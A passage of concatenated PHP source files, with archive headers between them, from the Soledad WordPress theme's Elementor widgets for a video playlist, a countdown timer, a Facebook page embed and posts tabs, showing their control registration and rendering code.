			'selectors'   => array(
				'{{WRAPPER}} .style-18.penci-border-arrow:after' => 'color: {{VALUE}};',
			),
			'condition'   => array(
				'heading_title_style' => array(
					'style-18',
					'style-18 style-19',
					'style-18 style-20'
				)
			),
		) );
		$this->add_control( 'btitle_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-homepage-title.style-27 .inner-arrow span span, {{WRAPPER}} .penci-homepage-title.style-22 .inner-arrow > span, {{WRAPPER}} .penci-homepage-title.style-26' => '--pcbg-cl: {{VALUE}};',
				'{{WRAPPER}} .style-2.penci-border-arrow:after'                                                                                                                                 => 'border-color: transparent;border-top-color: {{VALUE}};',
				'{{WRAPPER}} .penci-border-arrow .inner-arrow'                                                                                                                                  => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-video_playlist .penci-playlist-title'                                                                                                                       => 'background-color: {{VALUE}};',
			)
		) );
		$this->add_control( 'btitle_outer_bgcolor', array(
			'label'     => __( 'Background Outer Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-border-arrow:after'                          => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-25 .inner-arrow > span' => '--pcheading-cl: {{VALUE}};',
			)
		) );

		$this->add_control( 'btitle_style9_bgimg', array(
			'label'       => __( 'Select Background Image for Style 9', 'soledad' ),
			'type'        => Controls_Manager::MEDIA,
			'dynamic'     => array( 'active' => true ),
			'responsive'  => true,
			'render_type' => 'template',
			'selectors'   => array( '{{WRAPPER}} .style-8.penci-border-arrow .inner-arrow' => 'background-image: url("{{URL}}");' ),
			'condition'   => array( 'heading_title_style' => 'style-8' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'btitle_typo',
			'label'    => __( 'Block Title Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-border-arrow .inner-arrow, {{WRAPPER}} .penci-video_playlist .penci-playlist-title h2',
		) );
		$this->end_controls_section();
	}


	protected function render() {
		$settings = $this->get_settings();

		if ( ( ! $settings['videos_list'] && $settings['video_type'] == 'custom' ) || ( $settings['video_type'] == 'youtube_playlist' && ! $settings['yplaylist_id'] ) ) {
			return;
		}

		$css_class = 'penci-block-vc penci-video_playlist';
		$css_class .= ' pencisc-column-' . $settings['penci_block_width'];
		?>
        <div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
            <div class="penci-block_content">
				<?php
				if ( ! get_theme_mod( 'penci_youtube_api_key' ) && preg_match( "#(?<=v=)[a-zA-Z0-9-]+(?=&)|(?<=v\/)[^&\n]+(?=\?)|(?<=v=)[^&\n]+|(?<=youtu.be/)[^&\n]+#", $settings['videos_list'], $matches ) ) {
					echo '<strong>Youtube Api key</strong> is empty. Please go to Customize > General > Extra Options > YouTube API Key and enter an api key :)';
				}

				$cache_name = 'penci-shortcode-playlist-' . $settings['video_type'] . '-' . $settings['block_id'];
				$cache_key  = 'penci-shortcode-playlist-key' . $settings['video_type'] . '-' . $settings['block_id'];

				$videos = preg_split( '/\r\n|[\r\n]/', $settings['videos_list'] );;
				$videos_list     = get_transient( $cache_name );
				$videos_list_key = get_transient( $cache_key );
				$rand_video_list = rand( 1000, 100000 );


				if ( $settings['video_type'] == 'custom' && ( empty( $videos_list ) || $settings['videos_list'] != $videos_list_key ) ) {
					$videos_list = \Penci_Video_List::get_video_infos( $videos );
					set_transient( $cache_name, $videos_list, 18000 );
					set_transient( $cache_key, $settings['videos_list'], 18000 );
				}

				if ( $settings['video_type'] == 'youtube_playlist' && ( empty( $videos_list ) || $settings['yplaylist_id'] != $videos_list_key ) ) {
					$videos_list = \Penci_Video_List::get_playlist_videos_ids( $settings['yplaylist_id'], $settings['yplaylist_limit'] );
					set_transient( $cache_name, $videos_list, 18000 );
					set_transient( $cache_key, $settings['videos_list'], 18000 );
				}

				$videos_count = is_array( $videos_list ) ? count( (array) $videos_list ) : 0;

				if ( ! empty( $videos_list ) ): ?>
                    <div class="penci-video-play">
						<?php foreach ( (array) $videos_list as $key => $video ): ?>
							<?php
							if ( $key > 0 ) {
								continue;
							}
							?>
                            <div class="fluid-width-video-wrapper">
                                <iframe class="penci-video-frame"
                                        id="video-<?php echo esc_attr( $rand_video_list ) ?>-1"
                                        src="<?php echo esc_attr( $video['id'] ) ?>" width="770" height="434"
                                        allowfullscreen></iframe>
                            </div>
						<?php endforeach; ?>
                    </div>
                    <div class="penci-video-nav">
						<?php if ( ! empty( $settings['heading'] ) && 'video_list' == $settings['heading_title_style'] ): ?>
                            <div class="penci-playlist-title">
                                <div class="playlist-title-icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></span></div>
                                <h2>
									<?php
									$attr_link = ' href="#" aria-label="URL"';
									if ( $settings['heading_title_link']['url'] ) {
										$this->add_render_attribute( 'link', 'href', $settings['heading_title_link']['url'] );
										if ( $settings['heading_title_link']['is_external'] ) {
											$this->add_render_attribute( 'link', 'target', '_blank' );
										}

										if ( $settings['heading_title_link']['nofollow'] ) {
											$this->add_render_attribute( 'link', 'rel', 'nofollow' );
										}

										$attr_link = $this->get_render_attribute_string( 'link' );
									}

									echo( ! empty( $settings['heading_title_link'] ) ? '<a ' . $attr_link . '>' : '<span>' );
									echo esc_html( $settings['heading'] );
									echo( ! empty( $settings['heading_title_link'] ) ? '</a >' : '</span>' );
									?>
                                </h2>
                                <span class="penci-videos-number">
								<span class="penci-video-playing">1</span> /
								<span class="penci-video-total"><?php echo( $videos_count ) ?></span>
									<?php
									esc_html_e( 'Videos', 'soledad' );
									?>
								</span>
                            </div>
						<?php endif; ?>
						<?php
						$class_nav = ( ! empty( $settings['title'] ) && 'video_list' == $settings['heading_title_style'] ) ? ' playlist-has-title' : '';
						$class_nav .= $videos_count > 3 ? ' penci-custom-scroll' : '';

						$direction = is_rtl() ? ' dir="rtl"' : '';
						?>
                        <div class="penci-video-playlist-nav<?php echo esc_attr( $class_nav ); ?>"<?php echo( $direction ); ?>>
							<?php
							$video_number = 0;
							foreach ( $videos_list as $video ):
								$video_number ++;
								?>
                                <a data-name="video-<?php echo esc_attr( $rand_video_list . '-' . $video_number ) ?>"
                                   data-src="<?php echo esc_attr( $video['id'] ) ?>"
                                   class="penci-video-playlist-item penci-video-playlist-item-<?php echo esc_attr( $video_number ); ?>">
							<span class="penci-media-obj">
								<span class="penci-mobj-img">
									<?php if ( ! $settings['hide_order_number'] ): ?>
                                        <span class="playlist-panel-item penci-video-number"><?php echo esc_attr( $video_number ) ?></span>
                                        <span class="playlist-panel-item penci-video-play-icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></span>
                                        <span class="playlist-panel-item penci-video-paused-icon"><?php penci_fawesome_icon( 'fas fa-pause' ); ?></span>
									<?php
									endif;


									$class_lazy = $data_src = '';
									$dis_lazy   = get_theme_mod( 'penci_disable_lazyload_layout' );
									if ( $dis_lazy ) {
										$class_lazy = ' penci-disable-lazy';
										$data_src   = 'style="background-image: url(' . esc_url( $video['thumb'] ) . ');"';
									} else {
										$class_lazy = ' penci-lazy';
										$data_src   = 'data-bgset="' . esc_url( $video['thumb'] ) . '"';
									}

									printf( '<span class="penci-image-holder penci-video-thumbnail%s" %s><span class="screen-reader-text">%s</span></span>', $class_lazy, $data_src, esc_html__( 'Thumbnail youtube', 'soledad' ) );
									?>
								</span>
								<span class="penci-mobj-body">
									<span class="penci-video-title"
                                          title="<?php echo esc_attr( $video['title'] ); ?>"><?php echo wp_trim_words( $video['title'], $settings['video_title_length'], '...' ); ?></span>
									<?php if ( ! $settings['hide_duration'] && $video['duration'] ): ?>
                                        <span class="penci-video-duration"><?php echo esc_attr( $video['duration'] ) ?></span>
									<?php endif; ?>
								</span>
							</span>
                                </a>
							<?php endforeach;
							?>
                        </div>
                    </div>
				<?php endif; ?>
            </div>
        </div>
		<?php
	}
}
PK     1w\ta  a  -  elementor/modules/penci-count-down/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciCountDown;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-count-down';
	}

	public function get_widgets() {
		return array( 'PenciCountDown' );
	}
}
PK     1w\i@  i@  ?  elementor/modules/penci-count-down/widgets/penci-count-down.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciCountDown\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciCountDown extends Base_Widget {

	public function get_name() {
		return 'penci-count-down';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Countdown', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-countdown';
	}
	
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'count', 'count_down' );
	}

	public function get_script_depends() {
		return array( 'jquery.plugin', 'countdown' );
	}

	protected function register_controls() {


		$this->start_controls_section(
			'section_general', array(
				'label' => esc_html__( 'Count Down', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$this->add_control(
			'count_down_style', array(
				'label'   => __( 'Choose Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 's1',
				'options' => array(
					's1' => esc_html__( 'Style 1', 'soledad' ),
					's5' => esc_html__( 'Style 2', 'soledad' ),
					's3' => esc_html__( 'Style 3', 'soledad' ),
					's4' => esc_html__( 'Style 4', 'soledad' ),
				)
			)
		);
		$this->add_control(
			'count_down_posttion', array(
				'label'   => __( 'Posttion', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'center',
				'options' => array(
					'left'   => esc_html__( 'Left', 'soledad' ),
					'center' => esc_html__( 'Center', 'soledad' ),
					'right'  => esc_html__( 'Right', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'count_year', array(
				'label'   => __( 'Year', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'separator'   => 'before',
			)
		);
		$this->add_control(
			'count_month', array(
				'label'   => __( 'Month', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
			)
		);

		$this->add_control(
			'count_day', array(
				'label'   => __( 'Day', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
			)
		);
		$this->add_control(
			'count_hour', array(
				'label'   => __( 'Hour', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
			)
		);
		$this->add_control(
			'count_minus', array(
				'label'   => __( 'Minus', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
			)
		);
		$this->add_control(
			'count_sec', array(
				'label'   => __( 'Sec', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'separator'   => 'after',
			)
		);

		$this->add_control(
			'countdown_opts',
			array(
				'label' => __( 'Select time units to display in countdown timer', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);

		$countdown_opts = array(
			esc_html__( "Years", "penci-framework" )   => "Y",
			esc_html__( "Months", "penci-framework" )  => "O",
			esc_html__( "Weeks", "penci-framework" )   => "W",
			esc_html__( "Days", "penci-framework" )    => "D",
			esc_html__( "Hours", "penci-framework" )   => "H",
			esc_html__( "Minutes", "penci-framework" ) => "M",
			esc_html__( "Seconds", "penci-framework" ) => "S",
		);

		foreach ( $countdown_opts as $countdown_opt_lab => $countdown_opt ) {

			$default = '';
			if( in_array( $countdown_opt, array( 'D','H','M','S' ) ) ){
				$default = 'yes';
			}

			$this->add_control(
				'countdown_'. $countdown_opt , array(
					'label'     => $countdown_opt_lab,
					'type'      => Controls_Manager::SWITCHER,
					'label_on'  => __( 'Show', 'soledad' ),
					'label_off' => __( 'Hide', 'soledad' ),
					'default'   => $default,
				)
			);
		}

		$this->add_control(
			'digit_border', array(
				'label'   => __( 'Timer digit border style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''       => esc_html__( 'None', 'soledad' ),
					'solid'  => esc_html__( 'Solid', 'soledad' ),
					'dashed' => esc_html__( 'Dashed', 'soledad' ),
					'dotted' => esc_html__( 'Dotted', 'soledad' ),
				),
				'separator'   => 'before',
				'condition' => array( 'count_down_style' => array( 's1','s2' ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-countdown-s1 .penci-countdown-amount' => 'border-style: {{VALUE}};',
					'{{WRAPPER}} .penci-countdown-s2 .penci-countdown-amount' => 'border-style: {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'digit_border_width', array(
				'label'     => __( 'Timer digit border width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-countdown-s1 .penci-countdown-amount' => 'border-width: {{SIZE}}px',
					'{{WRAPPER}} .penci-countdown-s2 .penci-countdown-amount' => 'border-width: {{SIZE}}px',
				),

				'condition' => array( 'digit_border' => array( 'solid', 'dashed', 'dotted', 'double' ),'count_down_style' => array( 's1','s2') ),
			)
		);
		$this->add_control(
			'digit_border_radius', array(
				'label'     => __( 'Timer digit border radius', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
				'selectors' => array(
                      '{{WRAPPER}} .penci-countdown-s1 .penci-countdown-amount' => 'border-radius: {{SIZE}}px',
                      '{{WRAPPER}} .penci-countdown-s2 .penci-countdown-amount' => 'border-radius: {{SIZE}}px',
					),
				'condition' => array( 'digit_border' => array( 'solid', 'dashed', 'dotted', 'double' ),'count_down_style' => array( 's1','s2') ),
			)
		);
		$this->add_control(
			'digit_padding', array(
				'label'     => __( 'Timer digit padding', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-countdown-amount' => 'padding: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'digit_margin_top', array(
				'label'     => __( 'Timer digit margin top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => -200, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-countdown-amount' => 'margin-top: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'unit_margin_top', array(
				'label'     => __( 'Timer unit margin top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-countdown-period' => 'margin-top: {{SIZE}}px' ),
			)
		);
		$this->add_responsive_control(
			'countdown_item_width', array(
				'label'     => __( 'Width of Countdown Section', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
				'condition' => array( 'count_down_style' => array( 's3','s4','s5' ) ),
				'selectors' => array( '{{WRAPPER}} .penci-countdown-section' => 'width: {{SIZE}}px;' ),
			)
		);
		$this->add_responsive_control(
			'countdown_item_height', array(
				'label'     => __( 'Height of Countdown Section', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
				'condition' => array( 'count_down_style' => array( 's3','s4','s5' ) ),
				'selectors' => array( '{{WRAPPER}} .penci-countdown-section' => 'height: {{SIZE}}px;' ),
			)
		);
		$this->end_controls_section();

		$this->start_controls_section(
			'section_translation', array(
				'label' => esc_html__( 'Strings Translation', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'str_days', array(
				'label'   => __( 'Day (Singular)', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Day', 'soledad' ),
			)
		);
		$this->add_control(
			'str_days2', array(
				'label'   => __( 'Days (Plural)', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Days', 'soledad' ),
			)
		);
		$this->add_control(
			'str_weeks', array(
				'label'   => __( 'Week (Singular)', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Week', 'soledad' ),
			)
		);
		$this->add_control(
			'str_weeks2', array(
				'label'   => __( 'Weeks (Singular)', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Weeks', 'soledad' ),
			)
		);

		$this->add_control(
			'str_months', array(
				'label'   => __( 'Month (Singular)', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Month', 'soledad' ),
			)
		);
		$this->add_control(
			'str_months2', array(
				'label'   => __( 'Months (Singular)', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Months', 'soledad' ),
			)
		);

		$this->add_control(
			'str_years', array(
				'label'   => __( 'Year (Singular)', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Year', 'soledad' ),
			)
		);
		$this->add_control(
			'str_years2', array(
				'label'   => __( 'Years (Singular)', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Years', 'soledad' ),
			)
		);

		$this->add_control(
			'str_hours', array(
				'label'   => __( 'Hour (Singular)', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Hour', 'soledad' ),
			)
		);
		$this->add_control(
			'str_hours2', array(
				'label'   => __( 'Hours (Singular)', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Hours', 'soledad' ),
			)
		);

		$this->add_control(
			'str_minutes', array(
				'label'   => __( 'Minute (Singular)', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Minute', 'soledad' ),
			)
		);
		$this->add_control(
			'str_minutes2', array(
				'label'   => __( 'Minutes (Singular)', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Minutes', 'soledad' ),
			)
		);

		$this->add_control(
			'str_seconds', array(
				'label'   => __( 'Second (Singular)', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Second', 'soledad' ),
			)
		);
		$this->add_control(
			'str_seconds2', array(
				'label'   => __( 'Seconds (Singular)', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default'   => esc_html__( 'Seconds', 'soledad' ),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_content',
			array(
				'label' => __( 'Content', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'time_digit_color',
			array(
				'label'     => __( 'Timer Digit Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-countdown-amount' => 'color: {{VALUE}} !important;' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'time_digit_typo',
				'label'     => __( 'Timer Digit Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-countdown-amount',
			)
		);

		$this->add_control(
			'time_digit_bordercolor',
			array(
				'label'     => __( 'Timer Digit Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-countdown-s1 .penci-countdown-amount' => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-countdown-s2 .penci-countdown-amount' => 'border-color: {{VALUE}};'
				),
				'condition' => array( 'count_down_style' => array( 's1','s2' ) ),
			)
		);

		$this->add_control(
			'time_digit_bgcolor',
			array(
				'label'     => __( 'Timer Digit Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .penci-countdown-s1 .penci-countdown-amount' => 'background-color: {{VALUE}} !important;' ),
				'condition' => array( 'count_down_style' => array( 's1' ) ),
			)
		);
		$this->add_control(
			'unit_color',
			array(
				'label'     => __( 'Timer Unit Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-countdown-period' => 'color: {{VALUE}} !important;' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'unit_typo',
				'label'     => __( 'Timer Unit Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-countdown-period',
			)
		);
		$this->add_control(
			'countdown_item_bg', array(
				'label'     => __( 'Countdown Section Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'count_down_style' => array( 's3','s4' ) ),
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-countdown-s3 .penci-span-inner' => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-countdown-s4 .penci-span-inner' => 'background-color: {{VALUE}};',
				),
			)
		);
		$this->add_control(
			'countdown_item_border', array(
				'label'     => __( 'Countdown Section Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'count_down_style' => array( 's3' ) ),
				'selectors' => array( '{{WRAPPER}} .penci-countdown-s3 .penci-span-inner' => 'border-color: {{VALUE}};' ),
			)
		);
		$this->end_controls_section();
	}

	public function get_time_format( $settings ) {
		$data_format = '';

		$opts = array(
			'countdown_Y' => 'Y',
			'countdown_O' => 'O',
			'countdown_W' => 'W',
			'countdown_D' => 'D',
			'countdown_H' => 'H',
			'countdown_M' => 'M',
			'countdown_S' => 'S',
		);

		foreach ( $opts as $k => $v ) {
			if ( isset( $settings[ $k ] ) && $settings[ $k ] ) {
				$data_format .= $v;
			}
		}

		if ( ! $data_format ) {
			$data_format = 'DHMS';
		}

		return $data_format;
	}

	protected function render() {
		$settings              = $this->get_settings();

		$block_id = 'penci_countdown_' . rand( 1000, 100000 );

		$css_class = 'penci-countdown-bsc';
		$css_class .= ' penci-countdown-' . $settings['count_down_style'];
		$css_class .= ' penci-style-' . $settings['count_down_posttion'];

		$labels  = sprintf( "['%s', '%s', '%s', '%s', '%s', '%s', '%s']",
			$settings['str_years2'], $settings['str_weeks2'],
			$settings['str_months2'], $settings['str_days2'],
			$settings['str_hours2'], $settings['str_minutes2'],
			$settings['str_seconds2']
		);
		$labels1 = sprintf( "['%s', '%s', '%s', '%s', '%s', '%s', '%s']",
			$settings['str_years'], $settings['str_weeks'],
			$settings['str_months'], $settings['str_days'],
			$settings['str_hours'], $settings['str_minutes'],
			$settings['str_seconds']
		);

		$data_format = $this->get_time_format( $settings );

		// Data Until
		$data_time = '';
		$data_time .= $settings['count_year'] ? $settings['count_year'] : 0;
		$data_time .= ',';
		$data_time .= $settings['count_month'] ? intval( $settings['count_month'] ) - 1 : 0;
		$data_time .= ',';
		$data_time .= $settings['count_day'] ? $settings['count_day'] : 0;
		$data_time .= ',';
		$data_time .= $settings['count_hour'] ? $settings['count_hour'] : 0;
		$data_time .= ',';
		$data_time .= $settings['count_minus'] ? $settings['count_minus'] : 0;
		$data_time .= ',';
		$data_time .= $settings['count_sec'] ? $settings['count_sec'] : 0;

		$data_time = apply_filters( 'penci_countdown_time_filter', $data_time );
		?>
		<div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>"></div>
		<script type="text/javascript">
			jQuery( function ( $ ) {
				if ( $.fn.countdown ) {
					var <?php echo esc_attr( $block_id ); ?>newDateTime = new Date(<?php echo $data_time; ?> );

					$( '#<?php echo esc_attr( $block_id ); ?>' ).countdown( {
						until: <?php echo esc_attr( $block_id ); ?>newDateTime,
						labels: <?php echo $labels; ?>,
						labels1: <?php echo $labels1; ?>,
						timezone: <?php echo get_option( 'gmt_offset' ); ?>,
						format: '<?php echo $data_format; ?>',
						<?php echo( is_rtl() ? 'isRTL: true' : '' ); ?>
					} );
				}
			} );
		</script>
		<?php
	}
}
PK     1w\8rJ9"  "  0  elementor/modules/penci-facebook-page/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciFacebookPage;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-facebook-page';
	}

	public function get_widgets() {
		return array( 'PenciFacebookPage' );
	}
}
PK     1w\Wj    E  elementor/modules/penci-facebook-page/widgets/penci-facebook-page.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciFacebookPage\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciFacebookPage extends Base_Widget {

	public function get_name() {
		return 'penci-facebook-page';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Facebook Page', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-fb-feed';
	}
	
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'facebook', 'social', 'embed', 'page' );
	}

	protected function register_controls() {
		

		// Section layout
		$this->start_controls_section(
			'section_page', array(
				'label' => esc_html__( 'Page', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$this->add_control(
			'page_url', array(
				'label'       => __( 'Facebook Page URL', 'soledad' ),
				'placeholder' => 'https://www.facebook.com/your-page/',
				'default'     => 'https://www.facebook.com/PenciDesign',
				'label_block' => true,
				'description' => __( 'Paste the URL of the Facebook page.', 'soledad' ),
			)
		);

		$this->add_responsive_control(
			'page_height', array(
				'label'   => __( 'Facebook Page Height', 'soledad' ),
				'description' => __( 'This option is only applied when "Hide Stream" option is not checked', 'soledad' ),
				'type'    => Controls_Manager::SLIDER,
				'default' => array( 'size' => '290' ),
				'range'   => array( 'px' => array( 'min' => 100, 'max' => 500, ) ),
			)
		);
		
		$this->add_control(
			'hide_cover', array(
				'label'     => __( 'Hide Cover Photo?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => '',
			)
		);
		
		$this->add_control(
			'hide_faces', array(
				'label'     => __( 'Hide Faces', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => '',
			)
		);
		$this->add_control(
			'hide_stream', array(
				'label'     => __( 'Hide Stream', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => '',
			)
		);
		
		$this->add_control(
			'language', array(
				'label'       => __( 'Custom Language', 'soledad' ),
				'placeholder' => 'en_GB',
				'default'     => '',
				'label_block' => true,
				'description' => __( 'Fill the language code to use on Facebook Page Box here. By default, the language will follow the site language. See more <a href="https://developers.facebook.com/docs/internationalization/" target="_blank">here</a>', 'soledad' ),
			)
		);

		$this->end_controls_section();
		$this->register_block_title_section_controls();
		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();

		if ( empty( $settings['page_url'] ) ) {
			echo $this->get_title() . ': ' . esc_html__( 'Please enter a valid URL', 'soledad' );

			return;
		}

		$css_class = 'penci-block-vc penci_facebook_widget';

		$height = $settings['page_height']['size'] ? $settings['page_height']['size'] : '';
		$title_page = $settings['heading'] ? $settings['page_height'] : '';
		$page_url = $settings['page_url'] ? $settings['page_url'] : '';
		$faces = $settings['hide_faces'] ? $settings['hide_faces'] : '';
		$stream = $settings['hide_stream'] ? $settings['hide_stream'] : '';
		$cover = $settings['hide_cover'] ? $settings['hide_cover'] : '';
		$language = $settings['language'] ? $settings['language'] : '';
		
		$lang = $language ? $language : get_locale();
		?>
		<div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
			<div class="penci-block_content">
				<div id="fb-root"></div>
				<script data-cfasync="false">(function(d, s, id){
				  var js, fjs = d.getElementsByTagName(s)[0];
				  if (d.getElementById(id)) return;
				  js = d.createElement(s); js.id = id;
				  js.src = "//connect.facebook.net/<?php echo esc_attr($lang)?>/sdk.js#xfbml=1&version=v9.0";
				  fjs.parentNode.insertBefore(js, fjs);
				}(document, 'script', 'facebook-jssdk'));</script>
				<div class="fb-page" data-href="<?php echo esc_url( $page_url ); ?>"<?php if( ! $stream && is_numeric( $height ) && $height > 69 ): ?> data-height="<?php echo absint( $height ); ?>"<?php endif;?> data-small-header="false" data-hide-cover="<?php if($cover) { echo 'true'; } else { echo 'false'; } ?>" data-show-facepile="<?php if($faces) { echo 'false'; } else { echo 'true'; } ?>" data-show-posts="<?php if($stream) { echo 'false'; } else { echo 'true'; } ?>" data-adapt-container-width="true">
					<div class="fb-xfbml-parse-ignore"><a href="<?php echo esc_attr( $page_url ); ?>"><?php if($title_page) { echo sanitize_text_field( $title_page ); } else { echo 'Facebook'; } ?></a></div>
				</div>
			</div>
		</div>
		<?php
	}
}
PK     1w\8a  a  -  elementor/modules/penci-posts-tabs/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciPostsTabs;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-posts-tabs';
	}

	public function get_widgets() {
		return array( 'PenciPostsTabs' );
	}
}
PK     1w\Pna  a  ?  elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciPostsTabs\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Image_Size;
use Elementor\Group_Control_Typography;
use Elementor\Repeater;
use Elementor\Utils;
use PenciSoledadElementor\Base\Base_Color;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciPostsTabs extends Base_Widget {

	public function get_name() {
		return 'penci-posts-tabs';
	}

	public function get_title() {
